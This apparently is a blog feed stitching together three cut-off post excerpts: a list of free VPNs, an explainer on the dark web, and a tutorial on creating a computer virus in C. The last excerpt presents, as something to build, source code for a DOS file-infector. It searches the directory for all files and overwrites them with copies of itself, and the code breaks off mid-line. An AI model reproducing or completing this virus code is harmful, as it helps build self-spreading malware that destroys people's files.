Er Farhan Sheikh

VPN is a private network between you and any other website or a computer. The data shared through the network can only be accessed by you and the website. It is a virtual network which protects you from restrictions, censorships, hackers etc. It basically hides your actual IP address. While using VPN, you are present on the internet with a completely different IP address. Your Internet Service Provider cannot access the information shared between you and the website you are visiting. VPN allows you to access blocked websites, bypass region-based website restrictions, and most important, makes you anonymous. So here are 7 best free VPNs which won’t cost you a single dime. 1. Windscribe Windscribe  is the best VPN provider you could ever use. It has 11 VPN servers throughout Europe and USA. Along with free VPN servers, Windscribe also has an ad-blocker browser extension which blocks incoming ads. Windscribe has an inbuilt firewall and it provides you 10GB of monthly...

Dark Web The dark web, also referred to as the darknet, is an encrypted portion of the internet that is not indexed by  search engines . The dark web is a subsection of the  deep web . Neither dark nor deep web pages can be found on search engine results pages ( S RP E ) , but deep web pages can be accessed by anyone with a browser who knows the   URL . Dark web pages, in contrast, requires special software with the correct decryption key, as well as access rights and knowledge of where to find the content. Although the dark web is sometimes portrayed as a domain frequented by criminal elements, it is also created and used by people who require privacy for entirely legal reasons, such as the exchange of proprietary business information. In such a case, information may be exchanged through an encrypted peer-to-peer (P2P) network connection or by using an overlay network, such as Tor. The anonymity that Tor and other overlay networks provide...

This program is an example of how to  create a computer virus  in C language. This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory. Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on. Here’s the source code of the virus program: #include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h> #include<conio.h> #include<time.h> FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*) while(!done) { virus=fopen(_argv[0],”rb”); host=fopen(ffblk.ff_name,”rb+”); if(host==NULL) goto next; x=89088; printf(“Infecting %s\n”,f...